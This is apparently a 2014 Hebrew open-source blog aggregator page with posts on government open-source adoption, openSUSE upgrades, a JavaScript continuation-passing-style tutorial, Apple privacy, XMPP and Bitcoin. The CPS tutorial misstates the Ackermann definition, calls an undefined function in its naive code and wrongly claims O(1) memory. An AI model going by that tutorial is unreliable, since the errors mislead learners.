גולת הכותרת היא כמובן השב"ס, שהמסמך חושף (עמ' 13-15) את היקפי השימוש בו יותר מאשר מקורות אחרים. לפני כמה שנים, באחת הועדות שנכחתי בהן נציג השב"ס טען כי מטרתם היא להפוך למעבדת החדשנות של השירות הציבורי. בתחום הקוד הפתוח הם ללא ספק הצליחו.

בנוסף לגופים הממשלתיים נטו, ישנו סעיף המתייחס לתעשיות הבטחוניות, שם המצב הרבה יותר טוב והאימוץ הרבה יותר מגוון. בהקשר זה חשוב להזכיר את כנסי הקוד הפתוח בתעשיות הבטחוניות שנערכים זה מספר שנים דרך עמותת המקור. הכנסים העלו באופן משמעותי את החשיפה שהתחום מקבל, הן חיצונית והן פנימית והובילו ליצירת קשרים רבים לטובת המשך הטמעה ואימוץ של קוד פתוח.

במסמך מוזכרות טענות מפי גורמים שמתלוננים על קושי בגיוס אנשים בנושאי קוד פתוח, כנראה שהם פשוט לא חשופים לשוק כולו, כי כמעט כל סטארטאם היום משתמש בקוד פתוח ומוצא אנשים. אם הממשלה רק תטרח להצהיר על כוונותיה היא תראה אם השוק יענה על הדרישה. גם כי יש, וגם כי זה כלכלי לגופי הייעוץ והביצוע. ומצד שני מציינים כי המרכזים המרכזיים אינם כוללים סעיפים תמיכה בקוד הפתוח, דבר שלדעתי אמור היה לקבל התייחסות ממזמן.

אגב, בהערות השולים אפשר לראות כי קיים מסמך דומה משנת 2009, אך לצערי לא מצאתי אותו זמין כדי להשוות כמה השתפר המצב. זאת יכלה להיות השוואה מעניינת.


תויק תחת:Free Software in Israel, gov.il

20 November, 2014 06:31 AM

18 November, 2014

sml

OpenSUSE 13.2: טיפים וטריקים

רק שלשה מבין ששה שדרוגים שערכתי עד כה, הסתיימו ללא תקלה כלשהי. הפעם אפרט מה היו התקלות וכיצד התגברתי עליהן.

התקלה הנפוצה הייתה (ככל שהדבר ישמע מוזר) השלמה חלקית בלבד של יצירת הקרנל ו\או ה initrd החדשים. נשמע מופרך? לא בהכרח.

הטקסט המלא

18 November, 2014 07:27 PM

15 November, 2014

sml

שדרוג אופן-סוזה לגרסה 13.2

שנה עברה מאז שוחררה גרסה 13.1 של אופן-סוזה. במשך השנה הזו עודכנה הגרסה ללא הרף ושרתה אותי בנאמנות על מספר לא מבוטל של מחשבים. ובמשך כל אותו זמן גם המשכתי לעקוב (ולדווח מפעם לפעם על באגים) אחרי פתוח הגרסה הבאה; המעקב נערך על מחשב הנסיונות שהריץ את גרסת "factory" של אופן-סוזה – שזו הפצה מתגלגלת על כל סממניה; תוכנות חדישות, “מהקצה המדמם", הנשברות מפעם לפעם ודורשות עזרה ראשונה.

והנה החודש "הוקפא" המצב של "factory" ושוחרר כגרסה החדשה של אופן-סוזה – גרסה 13.2. פקטורי, בינתיים ממשיכה להתגלגל. מהם האלמנטים העיקריים של הגרסה החדשה?

הטקסט המלא

15 November, 2014 11:31 PM

23 October, 2014

Yaniv Gershoni

אשכול קישורים בנושא תלת מימד והדפסות

אשכול הקישורים הגדול

טוב, זה לא קשור ב-100% לבלנדר אבל זו "צומת גדולה" שאני חוזר אליה במהלך המסעות אז נראה לי שכדאי לשים לזה מקום קבוע שיאפשר גם עדכונים כשצריך.

ובכן, למי שלא שם לב, מתפתח לו "תחום" שקשור לתלת מימד והוא: "הדפסה תלת מימדית".
למעשה, ההדפסה בתלת מימד היתה קיימת די הרבה זמן אך העלויות היו גבוהות ורוב הציבור בעצם לא יכל להשתמש בטכנולוגיה הזו ולכן גם לא נחשף אליה כל כך.
עם הזמן ובעיקר בזכות פרוייקט Reprap האפשרות להשתמש בטכנולוגיה של ההדפסה התלת מימדית הפך לנגיש יותר ואפשר כבר היום לקנות מדפסות לבית ולעסק ואפילו לבנות כאלו במחירים סבירים.

בפוסט הזה לא אסביר על הטכנולוגיה וכו' (אולי בהמשך) אלא רק אשים קישורים לכל מה שקשור לנושא ועוד קצת תבלינים...
(דוכן לתירס על הצומת נקרא לזה)
פרטים נוספים »

הטקסט המלא

23 October, 2014 12:30 AM

15 October, 2014

Shlomi Israeli

קונספטים של קוד אלגנטי [חלק 3]

תכנותכתבתי בעבר מספר ביקורות אודות האקדמיה, אז לא ארחיב את זה יותר מדי כעת. אבל אודה ואומר שחוויתי מאז סדרת המאמרים הזו חוויה מעניינת, שמחזקת מעט את מה שאני מרגיש כלפי האקדמיה. כל סדרת המאמרים הזו נוגעת בעיקר בשני קורסים שמאוד לא אהבתי בזמן הלימודים (כן, אחד מהם הוא הקורס שכתבתי על המתכון להריסתו), לא אהבתי את הקורסים כי הם נראו מיותרים, לא מובנים והכי חשוב הועברו בצורה חובבנית.

אתמול ישבתי לי, והחלטתי שאני לומד נושא מסויים, שתמיד התקשיתי בו: Continuation Passing Style. זוהי טכניקת תכנות, המנצלת את האופטימיזציה מהמאמר הקודם. באמצעותה היא עוקפת את מנגנון המחסנית המובנה, ומאפשרת כתיבת קוד איטרטיבי, עבור פונקציות שקשה יותר או בלתי אפשרי לכתוב אותם עם לולאות (חשוב לציין שלולאה ומחסנית שקולה לרקורסיה).

תוך פחות מעשר דקות הבנתי את הקונספט, וכבר כתבתי מספר פונקציות בסגנון הזה בקלות. זה מאוד מפתיע כי לא נגעתי בסגנון התכנות הזה יותר משנה, ומעולם בעצם לא הבנתי אותו. האם נהיתי פשוט יותר חכם? אולי זה בגלל הניסיון שאני צובר בעבודה? אולי כן, ואולי פשוט הדרך האקדמית לא נכונה. אבל זה חורג מנושא המאמר :) אז בחזרה ל-CPS.

הרעיונות המרכזיים בשיטה זו אומרים, שאף פעם לא מבצעים החזרה של ערך מהפונקציה, וכל קריאה רקורסיבית חייבת להיות הפעולה האחרונה של הפונקציה. יש איזושהי הוכחה שאומרת שכל קוד רקורסיבי ניתן להמרה לקוד CPS. מה שמייעל באופן משמעותי כל קוד רקורסיבי.

נתבונן בפונקציית אקרמן, שאומרת:
Ack(m,n) = \begin{cases} n+1, & \mbox{if } m=0 \\ Ack(m, n-1), & \mbox{if } m=0 \mbox{ and } n>0 \\ Ack(m-1, Ack(m, n-1)), & \mbox{o/w} \end{cases}

להפוך משהו כזה ללולאה ללא שימוש במחסנית, זה לא רק לא פשוט, אלא בלתי אפשרי. העניין המרכזי שבעייתי עם הפונקציה הזו הוא שמהר מאוד מקבלים מספרים מאוד גדולים, אבל לא רק זאת, אלא שעומק הרקורסיה הוא מאוד גדול, וברוב המקרים לא נצליח לחשב משהו מעבר ל Ack(4,1) , וגם את זה בקושי. נכתוב פונקציה נאיבית לכך:

function ack1 (m,n) {
  if (m===0){
    return n + 1;
  } else if (m >0 && n === 0) {
    return ack1(m-1, 1);
  } else {
    return ack1(m-1, ack(m, n-1));
  }
}

לכל הדעות, פונקציה מאוד פשוטה, שעונה בדיוק על ההגדרה. אבל אם תנסו להריץ אותה על משהו מעבר ל Ack1(4,1) יגמר לכם המקום במחסנית ברוב התכניות. אז האם זה באמת לא אפשרי למימוש אחר? כאן מגיע לעזרתנו סגנון התכנות הזה, שבשילוב עם האופטימיזציה הזו, מסוגל לאפשר לנו לחשב כל ערך (בהינתן מספיק זמן, כי זו פונקציה ממש ממש מסובכת לחישוב).

הרעיון המרכזי אומר, נספק פונקציה נוספת לרשימת הפרמטרים, כל פעם שנרצה להחזיר ערך מיידי, במקום להחזיר אותו, נקרא לפונקציה עם אותו ערך והיא תעשה איתו כבר את מה שצריך (ממש כמו callback סטנדרטי ב-Javascript). כאשר נרצה לבצע קריאה רקורסיבית נבצע אותה בסוף הפונקציה, ונדאג לתת או ליצור callback מתאים עבור אותה קריאה. בגלל השימוש של אותה פונקציה, נקרא לה ret מלשון return.

function ack$ (m, n, ret) {
  if (m===0) {
    ret(n + 1);
  } else if (m >0 && n === 0) {
    ack$(m-1, 1, ret);
  } else {
    // wtf
  }
}

אני תמיד הייתי נתקע בשלב שכתבתי בו wtf. כדי להבין בדיוק מה צריך לעשות, נפרק את השורה המקורית למספר פעולות:

var resultOfM_N_1 = ack1(m, n-1);
return ack1(m-1, resultOfM_N_1);

הבעיה היא שיש פה שתי קריאות רקורסיביות, ולא ברור איך לגרום לכך שתהיה רק קריאה אחת שתמיד תהיה בסוף החישוב של הפונקציה. כנראה ש-Javascript גרמה לי לחשוב בצורת callback ולכן זה הפך להיות מיידי עבורי כיום. קודם כל נחשב את הפונקציה הראשונה (לצורך העניין נדמיין שזה מבוצע על מחשב אחר, ואנחנו נקבל בחזרה את התשובה דרך ajax או משהו בסגנון, ולכן צריך לספק לו פונקציה):

ack$(m, n-1, function(resultOfM_N_1) {
  // do something with resultOfM_N_1 
});

שימו לב לשם של הפרמטר, הוא יכיל את התוצאה שהתקבלה מביצוע הפונקציה, בדיוק כמו בקוד הקודם (ולכן השם זהה). כעת אנחנו בפונקציית ה-callback שלנו, וכל מה שנשאר לעשות זה להשתמש בתוצאת הביניים ולבצע קריאה רקורסיבית נוספת, שגם היא תהיה הדבר האחרון שאנחנו עושים בתוך פונקציה. ולכן הפונקציה הסופית תראה משהו כזה:

function ack$ (m, n, ret) {
  if (m===0) {
    ret(n + 1);
  } else if (m >0 && n === 0) {
    ack$(m-1, 1, ret);
  } else {
    ack$(m, n-1, function(resultOfM_N_1) {
      ack$(m-1, resultOfM_N_1, ret); 
    });
  }
}

כדי להריץ בפעם הראשונה את הפונקציה נבצע:

ack$(4, 1, function(result) { 
  console.log('result is ' + result);
});

הרצה של הפונקציה הזו היא אפשרית כעת, ובדיקה אצלי (עם האק קטן שמדמה את האופטימיזציה) הניבה:

time nodejs test.js
result is 65533

real	15m23.306s
user	15m8.406s
sys	0m22.508s

לקחו רק 15 דקות לחשב את הערך, אבל בסופו של דבר הוא חושב, דבר שלא היה אפשרי ללא כמות גדולה מאוד של זכרון בשיטה נאיבית יותר כמו לולאה+מחסנית או רקורסיה. העניין העיקרי שצריך להדגיש כאן הוא שמבחינת זכרון, אנחנו מדברים על סדר גודל של O(1). הסוד הוא שאנחנו מסדרים את המידע בצורה כזו, שבכל שלב אנחנו לא צריכים יותר לזכור שום דבר מקריאות אחרות, ולכן לעולם לא נצטרך למלא את המחסנית יותר ממספר קבוע של שדות.

בגלל שזה כן נושא די מסובך, ננסה לדמיין את הפונקציה ack$ כקופסה שחורה, או אפילו יותר קל, כפונקציה ששולחת בקשה לאיזשהו שרת מרוחק ומקבלת ממנו תשובה. כמו בבקשת ajax א-סינכרונית, הפונקציה תסתיים מיד וברגע שהדפדפן יקבל תשובה בחזרה, הוא יפעיל את פונקציית ה-callback שסיפקנו עם התשובה כפרמטר. ועכשיו אנחנו יכולים לעשות עם הערך הזה מה שבא לנו. במקרה שלנו, אנחנו צריכים לבצע שוב בקשה דומה (עוד קריאה רקורסיבית), רק שהפעם אנחנו נדפיס את הערך המוחזר במקום לבצע עליו חישוב נוסף.

למידע נוסף, ממליץ לקרוא גם את המאמר: By example: Continuation-passing style in JavaScript

15 October, 2014 11:58 AM

21 September, 2014

Ira Abramov

האם להאמין לאפל?

בשבועות האחרונים היו לאפל שוב שתי פאשלות אדירות בנוגע לפרטיות. האחת שהיתה יותר מפורסמת אבל פחות מעניינת היא שמאות מליוני לקוחות של iThings גילו פתאום אלבום של U2 במאגר המוזיקה שלהם ולא יכלו להסיר אותו (אלא בעזרת אתר מיוחד שלבסוף נפתח לענין). השניה והיותר מפחידה היתה כשאפל התחילה לסגור ללא רחמים חשבונות אחסון ענן (ולהבנתי גם סנכרון אנשי קשר וגישה לחנות היישומונים?) שהעלו את תמונות העירום הגנובות של קייט אפטון, ג'ניפר לורנס ושאר הסלבריטאיות – שמראש נגנבו מחשבונות iCloud פרוצים בעצמן. שיטות פעולה דרקוניות מילא, אבל זה אומר שכל קובץ שאתם מכניסים לתא שלכם נסרק ונבדק, לא רק שמו וגודלו אלא תוכנו המדויק.

כדי לפזר סוכר על הגללים (סליחה, זה לא אני המצאתי, זה ביטוי אמריקני) הכריזה אפל על כך שמהיום בעצם הם שמים את הפרטיות מעל הכל. מיסד EFF ג'ון גילמור מפרט למה לא להאמין להם (מצאתי דרך בוינגבוינג), ואני מתרגם:

> > > לאפל אין דרך לפתוח את ההצפנה של המידע ב־iMessage ו־FaceTime בזמן השידור ברשת בין מכשירים. בניגוד ליישומי העברת הודעות של חברות אחרות אפל איננה סורקת את התקשורת שלכם, ולא נוכל לספק שירותי האזנה לרשויות הבטחון גם אם נקבל צו שכזה. (מתוך הצהרת הפרטיות החדשה)

ולמה אנחנו מאמינים להם?

  • כי אנחנו יכולים לקרוא את קוד התוכנה ותיאורי הפרוטוקולים בעצמינו, ולאבחן כמה הם בטוחים?
  • כי Apple חברה גדולה וחברות גדולות לא משקרות?
  • כי הם ממשו את זה בתוכנה בינארית קניינית והצפנה קניינית היא תמיד חזקה יותר ממה שהחברה טוענת שהיא?
  • כי הם לא יכולים לעדכן בעתיד בסוד את התוכנה במכשיר שלך בצורה שתבטל את כל ההבטחות שנתנו לך, באופן אישי רק לטלפון מטרה מסוים או לקבוצה שלמה?
  • כי לעולם לא תסכים לעדכן את התוכנה מרצונך, לעולם, לא משנה כמה ינדנדו לך שיש עדכונים?
  • כי הגרסא הראשונה הזו של תוכנת ההצפנה שלהם לגמרי נקיה מבאגים כך שלעולם לא תצטרך לשדרג אותה כדי לשמור על הפרטיות?
  • כי אם עדכונים עתידיים דווקא יכניסו באגים באבטחה והפרטיות, נוכל בקלות להבדיל בינם לבין כאלו שיפתרו בעיות מסוגים אלו?
  • כי אם הם ישנו את דעתם ויחליטו לדלל את מדיניות הפרטיות שלהם בשביל נוחיותם או בגלל לחץ ממשלתי סודי, הם בוודאי יודיעו לנו?
  • כי הם עבדו קשה כל השנים למנוע ממך לשדרג את התוכנה שרצה על המכשירים שלהם כדי שאתה תוכל לבחור ולשלוט במכשיר במקומם?
  • כי בירוקרטיית הייצוא של ארה"ב לעולם לא תנסה למנוע מאפל מכירה של הצפנה קניינית לשוק הפתוח שמעבר לגבולות המדינה?
  • כי מדינות שלא נתנו לבלאקברי למכור טלפונים במתקשרים בצורה מאובטחת לשרתים הארגוניים שלך, בוודאי יתנו לאפל למכור כל מכשיר בעל אבטחה גבוהה שבא לה?
  • כי אנחנו מעריצים שרופים של החברה והם לעולם לא יכולים לטעות?
  • כי הם רוצים לעזור לטרוריסטים לנצח?
  • כי ה־NSA עצבנו אותם פעם אחת ולכן הם לצד הקהל הרחב נגד ה־NSA?
  • כי תמיד עדיף לשים האזנות לאנשים אחרי ששכנעת אותם שהם מאובטחים לגמרי, כדי שישפכו את הסודות הכי כמוסים שלהם?

יש עוד איזו סיבה, אני לא מצליח לחשוב עליה כרגע…
ג'ון.

למען השלמות, אני אוסיף שגם אנדרואיד כפי שהוא מגיע מסוגר מיצרנים כמו סאמסונג ואל-ג'י, חולים באותה המחלה. כדי להיות בשליטה אמיתית ומלאה על המכשיר שלכם, צריך לעשות ניתוחי כריתת תוכנה כואבים ולהשתמש בהם באופן זהיר. אין מה לעשות.

תגים: , , , , , , , , , , , , , ,

21 September, 2014 04:18 AM

04 September, 2014

Arie Skliarouk

O GTalk team, where were thou? (part II)

Four full years passed since my last post on GTalk. Unfortunately I can't say much good about Google Instant Messenger efforts. It looks they would like everybody to switch from XMPP-based GTalk to proprietary protocol of Hangouts.

We saw stop of XMPP federation, wholesale upgrade of GTalk clients to Hangouts, last GTalk for Windows have been released15 months ago. Next logical step is to stop supporting XMPP altogether. What a sad day that would be..

Of the handful biggest IM providers, none supports open protocol (besides Google/XMPP yet). With 19 billions valuations the market is huge, and one would expect the fierce competition to leave no rock unturned in attracting more users. Unfortunately commercial interests prevail here.

There never was better time for an established company to embrace open-protocol platform. May be there already is? Please post in comments.

PS. Whoever is still on XMPP/Jabber/GTalk platform, uses pidgin on ubuntu 14.04 amd64 and misses "message delivery confirmation" plugin - here is a bit of solace for you: pidgin-xmpp-receipts_0.6-1_amd64.deb

04 September, 2014 10:59 AM

28 August, 2014

Ira Abramov

קריפטוכסף

ביטקוין עשה קצת רעש בחודשים האחרונים – בורסות שנפרצות, כסף שנגנב, פוליטיקאים שנלחצים… מצד אחד מדובר רק במספרים ברשת שלא מוכרים ע"י אף ממשלה, ומצד שני גם משהו מרעיש שגורם לבנק ישראל ודירקטוריונים של בנקים להבהל ממנו כמו אבולה ולשבת בלילות להבין מה לעשות איתו ונגדו.

רבות נכתב על זה, אני הייתי מאוד ספקן בהתחלה וחיכיתי שזה יתמוסס בצורה מאכזבת או יתפוצץ לאנשים בפנים. אח"כ חשבתי שזה סתם למשוגעים לעניין שרוצים "לשחק בבורסה" בלי להמר על כסף אמיתי, ובסוף כבר פחדתי להכנס כי מרוב חדשות על גנבות ופריצות אתרים (שלא לדבר על קפיצות ערך ספקולנטיות) זה לא נראה לי בכלל הגיוני לגעת בזה במקל ארוך.

אבל ככל שנוקף הזמן אני רואה שהקריפטוקוינז כאן להשאר, אז כספקן הבנתי שיש להתנסות. שיחקתי עם זה כחודש ואני אחלוק אתכם את דעתי הקטנה על הנושא. כדי ללמוד עוד על הצד הטכני (שאדבר עליו רק מעט) אפשר להתחיל באתר קריפטוביט בעברית, ומשם לכל אחד ממאות אתרים ובלוגים או ערוצי יוטיוב בשביל שפות אחרות.

אז מה הם ביטקוין וקריפטוקוינז בכלל?

מדובר בכמה טכנולוגיות מתמטיות מעניינות מתחום ההצפנה והרשתות המבוזרות שבשלו וחוברו להן יחדיו. היוצר של הקריפטוקוין הראשון והמפורסם ביטקוין נותר אלמוני, אבל מאז שוכללו השיטות ויש כרגע מאות קריפטוקוינים אחרים ברשת, למעשה קל מאוד לייצר לעצמך מטבע, לרוב זה רק חסר פואנטה כי אם אין שוק משתמשים, לא יהיה לזה ערך.

זה נכון לכל סחורה, הרי. היא שווה יותר או פחות לאנשים שונים. גם לכסף הרשמי של המדינה יש ערך רק בדמיון של המשתמשים בו. יתרה על זאת רק כ־5% מכמות הכסף היא שטרות נייר (יותר יקרים מסתם נייר אבל עדיין לא שווים את ערכם הנקוב), ומטבעות, וכל השאר מספרים שהבנקים מריצים על המחשבים שלהם. כל פעם שהבנק מלווה לך או נותן לך קרדיט מעבר ל־0, הוא למעשה יצר כסף, ולמרות שיש גבול לכמה כסף שמותר לבנק לייצר, זה כבר גרם להתמוטטיות בעבר.

אז מה שנותן לקריפטוקוין את ערכו הוא רק האמון של אנשים בבטיחות ההצפנה והשיטה. כדאי להבין אם כן במה מדובר פה. החלק הראשון והפשוט של פרוטוקול ביטקוין הם ה"ארנקים". זה מצחיק לקרוא להם ככה כי הם לא באמת מכילים כסף, הם רק כתובת שאפשר לשלוח אליה כסף. הכתובת הזו היא החלק הציבורי של זוג מתחות פרטי-ציבורי. חשוב להבין את זה שהשליחה היא חד כיוונית, אפשר לשלוח כסף לכל מפתח ציבורי חוקי (ויש מספר עצום של כאלו) ואף אחד לא צריך לשבת בצד השני וללחוץ על אישור קבלה. שלחתם כסף למספר לא נכון? כנראה שהלך הכסף. בגלל השיטה המתמטית, מאוד קשה לייצר מפתח פרטי בצורה מכוונת, כך שהמפתח הציבורי שלו יהיה זהה לזה ששלחתם אליו. אם זה היה אפשרי, כל אדם שהיה מכיר את המפתח הציבורי שלכם כבר היה יכול לגשת לכסף ש"יש בארנק" ולבצע איתו תשלומים. ושוב להבהיר – הארנק לא "מביל כסף", הוא צמד של מפתח סודי וציבורי, וסכום הכסף ש"יש בו" הוא סכום העסקאות שהתבצעו ממנו ואליו לאורך הבלוקצ'יין עד היום. זה אומר שבכל תוכנה או אתר שבהם תעלו את המפתח הפרטי, אפשר לסחור עם הסכומים של אותו הארנק, כי אין הבדל אמיתי.

וכאן אנחנו מגיעים לשאלה של ביצוע העברות הכסף. אם יש לי מפתח PGP ציבורי של מישהו, אני יכול לשלוח הודעה מוצפנת לאדם אחר, אני יכול גם לפרסם ברשת את ההודעה ורק אותו אדם יוכל לקרוא אותה. אני יכול גם לשים את זה בקובץ עם עוד הודעות אחרות וכל אחד יוכל לעבור על כל הקובץ ולקרוא רק את ההודעות המיועדות לו. עכשיו דמיינו שהקובץ הזה לא יושב על שרת אחד אלא ברשת שיתוף קבצים בסגנון ביטטורנט ותתחילו להבין עם מה אנחנו מדברים… החצי השני הוא חתימה דיגיטלית – רק מי שבידו המפתח הסודי יכול להורות על העברה בשם הארנק המדובר, וכל מי שיראה את פקודת ההעברה (כל אלפי מחזיקי הבלוקצ'יין וכוריה) יראה שזה אכן בשם בעל הארנק.

אם כך, ברשת יש קובץ שתופח ותופח (נכון להיום הבלוקצ'יין של ביטקוין הוא כ־25 גיגה והוא גדל כל הזמן) ומכיל את כל פקודות העברות הכספים (וסוגי מידע שונים, על זה בהזדמנות אחרת), הקובץ חתום ע"י המשתמשים עצמם בצורה שאפשר לוודא שהמידע שם אמין, ותהליך החתימה הלא-פשוט הזה מזכה אותך בתשלום (בביטקוינז כמובן). בקיצור יש לנו משאב מוגבל, שאי אפשר לשכפל אותו, אי אפשר להכנס איתו למינוס, מצד שני גם אי אפשר לבטל בו עיסקאות (אין גוף מרכז העברות תשלום שיכול לשלוח יד לארנק מקבל התשלום ולהחזיר משם את הכסף כמו תאגיד אשראי או בנק). מצד שני כל ארנק שמקושר לשמך כבר איננו אנונימי – מי שיסתכל על הבלוקצ'יין רואה את כל הפעולות שביצעת – כמה כסף נכנס ויצא, ממי ואל מי. שקיפות מוחלטת, ואם חיברת את מזהה הארנק לשימך, אז למעשה גם שום פרטיות (לדוגמא, הנה הארנק של התרומות לתנועה לזכויות דיגיטליות). הפעולה היחידה שמצריכה התערבות שלך היא שחרור הודעת העברת תשלום, ומרגע ששיתפת את הפקודה הזו ברשת המבוזרת, אין חזרה. אם עבדו עליך או ששלחת לכתובת שאף אחד לא מחזיק במפתח הסודי שלה – הלך הכסף.

בעיות טכניות עם הרשת הזו – אין גלגול עסקאות לאחור, ניהול ארנק מקומי משמעותו להוריד 25GB של חומר לפני שתוכל להשתתף בעולם המסחר הזה, וארנק בפיקדון אצל צד ג' (למשל אתרים כמו BlockChain או בורסות כגון קראקן) משמעו לסמוך על צד ג' כלשהוא שיחזיק אצלו את המפתח הפרטי שלך בצורה מאובטחת, למשל מוצפן בצורה שרק הדפדפן שלך יפתח אותו בצד הלקוח ולעולם לא יהיה שמור בצד השרת). אחרי כן יש את השאלה של זכירת סיסמאות (לרוב אם שכחת את הסיסמא, הלך הארנק ואיתו הכסף). ואז לבסוף שאלת המחשב הפרוץ – אם אתם משתמשים באתר כמו בלוקצ'יין ממחשב נגוע בוירוסים ורוגלות, צ'כחו מהכסף.

בעיות חוקיות – אלע"ד, אבל מדינות עכשיו יושבות ותוהות מה לעשות. בארה"ב יש מדינות שרוצות שסחר בקריפטוכסף יהיה רק למחזיקי רשיון (הצחיקו אותנו, איך אוכפים את זה?) ושטויות דומות נשמעות ממקומות אחרים. מצד אחד החלפת נכסים דיגיטליים כמוה כבארטר, ולא כל בארטר הוא חוקי בכל מדינה (המדינה רוצה מס הכנסה על הכנסות ומע"ם על עסקאות, כנ"ל מיסי מתנות/ירושות וכולי). בקיצור, שאלות פתוחות, וכאן מדובר בכסף גדול. מה זה גדול? ענק.

בעיות כלכליות – השוק הזה מאוד ספקולטיבי. היום מעט מאוד אתרים מקבלים ביטקוין, ועוד הרבה פחות מקבלים לייטקוין. בדרך יש עוד מטבעות דור שני מתוחכמים כמו נקסט ואחרים שמאפשרים טיפה יותר שליטה במערב הפרוע, שירותי אסקרו והלוואות מתוזמנות וכל מיני פיצ'רים, השאלה אם זה לא הופך את הכלכלה המתפרעת במערב (את דעותי על מחלות הקפיטליזם חפשו בפוסטים אחרים) לעוד פחות בת קיימא ועוד פחות יציבה? זו מערכת ששום יד לא מכוונת אותה מנקודות תכנון ורגולציה מרכזיות, רק שגיונותיהם של ההמונים הבלתי מאורגנים. בקיצור, בלגנים. אני כמי שדוגל בכלכלה בת קיימא, שמאפשרת עתיד חברתי ושפוי מבחינה אקולוגית, לא רואה בזה תופעה טובה, מצד שני אני גם לא חושב שניתן למנוע את התופעה או לשים אותה בזמם באינטרנט החופשי (ושאני רוצה שישאר חופשי). מבינתי זה דיסראפטור מוגזם בכוחו הפוטנציאלי, ולא חסרים הליברטריאנים דה מי קולו ששים לקפוץ על העגלה הזו (ולגנוב את הסוס). אני חבר בעמותות שמקבלות תרומות ביטקוין, אני אפילו פתחתי בבלוג עמוד תרומות בקריפטוקוין, אבל אני לא מתכוון להמיר יותר מדי כסף פיאט מהעו"ש לקריפטו ולנסות לדפוק קופה על ארביטרציות. אם אחזור להיות עצמאי, אני לא חושב שאסכים לקבל ביטקוין כתשלום. אני לא בטוח שארגונים חברתיים כמו הבר קיימא חשבו מספיק על ההשלכות כשהתחילו לקבל תשלום בביטקוין.

לסיכום – אם יש לכם הרבה אומץ ואמונה בצמיחת השוק הזה ואבטחתו, וקצת הבנה באבטחה בסיסית של סביבת העבודה שלכם, התפרעו לכם בשמחה. אם אתם מפחדים מוירוסים, לא מסתובבים עם סמארטפון או לא סומכים על עצמכם עם אבטחה וטכנולוגיה צעירה וקופצנית שכזו, אולי שווה עוד לחכות טיפה. בכל מקרה כרגע היא זמינה ונוחה רק למי שמרופד טכנולוגית ומקוון תמיד, זה לא פתרון לעולם השלישי או לאמא שלי או לרוב האנשים שאני מכיר סביבי. אני מאמין שהבארטרים האלקטרוניים האלו ישארו באיזור אבל לא יחליפו בקרוב את הכסף המסורתי. אל תעבירו לשם את הפנסיה.

תוצרים מעניינים

גם אם זה לא מחליף כסף פיאט, יש לזה שימושים מעניינים. ראשית הקונספט של הבלוקצ'יין שהולך ומתנפח לו במקביל במאות אלפי שרתים ומחשבים ורואה את ההיסטוריה בצורה אמינה ובדיוק בל ימחק, זה לא יעזוב במהירה. אנשים כבר משתמשים בטכנולוגיה כדי לחתום שם קריפטוגראפית על מידע שחשוב בו מימד ההוכחה לבעלות ובזמן, אפשר עם זה לקבוע חזקה על נכסים אינטלקטואליים (למשל קופירייט על יצירה או בעלות על נכס אלקטרוני), ליישם חלפנות מבוזרת בלי צורך באתרי "בורסה", להעביר מסרים ולאור כל אלו, מפתחים גם מטבעות יותר מתוחכמים מעל בלוקצ'יינים, מערכות "טאבו דיגיטלי", שרות שמות (DNS) מבוזר ואפילו טוויטר מבוזר. הרשימה עוד ארוכה.

תגים: , , , , , , , , , , , , , , , , , ,

28 August, 2014 07:36 AM

24 August, 2014

Doron Rainer

סדרת מדריכים: לינוקס זה לא מפחיד

שלום לכולם,

חשבתי רבות על פרוייקט נחמד שאפשר לעשות, והגעתי למסקנה שפרוייקט כמו סדרת מדריכים ללינוקס למתחילים יהיה הפרוייקט שאני הולך להשקיע בו הכי הרבה.

החלטתי שאת המדריכים שאני אכתוב בפרוייקט הזה נעשה בצורה שלא תפחיד אף אחד משימוש בלינוקס.

המדריכים הינם בעברית ולכן אני חושב שזה יקל על המשתמש המתחיל בלינוקס.


כמו כן, אפשרתי אפשרות להשאיר תגובות בדפי המדריכים השונים על מנת שאני אוכל לקבל ביקורת ולשפר ולתקן,
אשמח אם תשתפו איתי פעולה.
גם התגובות זה מקום שניתן לשאול שאלות.

אגב, שימו לב שיש כפתור בצד ימין למעלה שרשום: "לינוקס זה לא מפחיד" משמם ניתן להכנס למדריכים.

בגלל שאת הפרוייקט התחלתי לא ממזמן, לא כל הפרקים עוד קיימים, ברגע שאגיע לפרק האחרון אני אכתוב עליו. כמובן שכל פרק חדש שאני אעלה אני אכתוב פוסט על זה כאן.

כרגע ישנם 2 פרקים.

אשמח לתגובות :)

24 August, 2014 06:08 AM

23 August, 2014

Doron Rainer

אז למה אני משתמש בלינוקס ולא בווינדוס?

אחד מהשאלות הרבות שאנשים שואלים משתמשי לינוקס: למה אתם משתמשים בלינוקס? מה רע לכם בווינדוס?

הרבה אפילו נוטים להראות לך כל מיני פיצ'רים שיש בווינדוס "ואין בלינוקס". ואז אתה תופס אותם בשאלה "אתה צריך את הפיצ'ר הזה, אתה משתמש בו באמת?" ואז מגיע הגמגום.

אפילו המתחכמים, האלה שהעבודה שלהם כל הזמן במיילים והם משתמשים בOutlook: "למה אתה לא משתמש בזה? היא מנהלת לך כמו שצריך את המיילים, הכל פה מסודר, אתה רואה את כל החשבונות במקום אחד מבלי לעבור בין אתרים.", ואז פה גם אני תופס אותם בתשובות ובשאלות.
"קודם כל אין לי כל כך הרבה חשבונות מייל, יש לי חשבון אחד שאני עובד איתו, ואם יהיה לי עוד חשבון אני אישית אדאג לעשות הפרדה בין חיי האישיים לבין עבודה"
"ואני לא מבין מה צריך לשלם בשביל אופיס כשיש לך תחלופות שנותנות אותו הדבר אבל בחינם"

אז עכשיו אני אגיד את זה: לינוקס בשבילי זה נוח! אני אוהב את הצורה שהמערכת בנויה, אני אוהב שיש לי שליטה מוחלטת על כל דבר. אני אוהב שיש לי תוכנה שאני מקבל עדכונים בחינם, וכל גרסא חדשה אני לא צריך לקנות דיסק בכמעט 1000 שקל ולהתקין על המחשב.
אני לא צריך לקנות מחשב חדש כל פעם שיוצא ווינדוס חדש.

אני אוהב להסתכל על הקוד של התוכנות שאני משתמש בהם. אם אני רוצה אני אפילו תורם קוד בשביל לפתור באגים, או אפילו יש לי אפשרות לדווח כמו שצריך על באגים ואיך אני נתקל בבאג, מאשר ללחוץ על כפתור "דווח שגיאות" ולך תדע לאן זה שולח ומה זה שלח.

אני חושב שכל סביבת עבודה (גנום, KDE, E, XFCE) יותר נוחה מהווינדוס.
ממשקים מלוטשים, נקיים נוחים, והכי חשוב, לא צריך להיות גיק מחשבים בשביל להבין איפה כל דבר נמצא.

אני משתמש בגנום, הראתי לחבר שהוא לא מבין גדול במחשבים, הוא תוך 2 דקות יתמצא בכל הסביבה. (וככה צריך!)
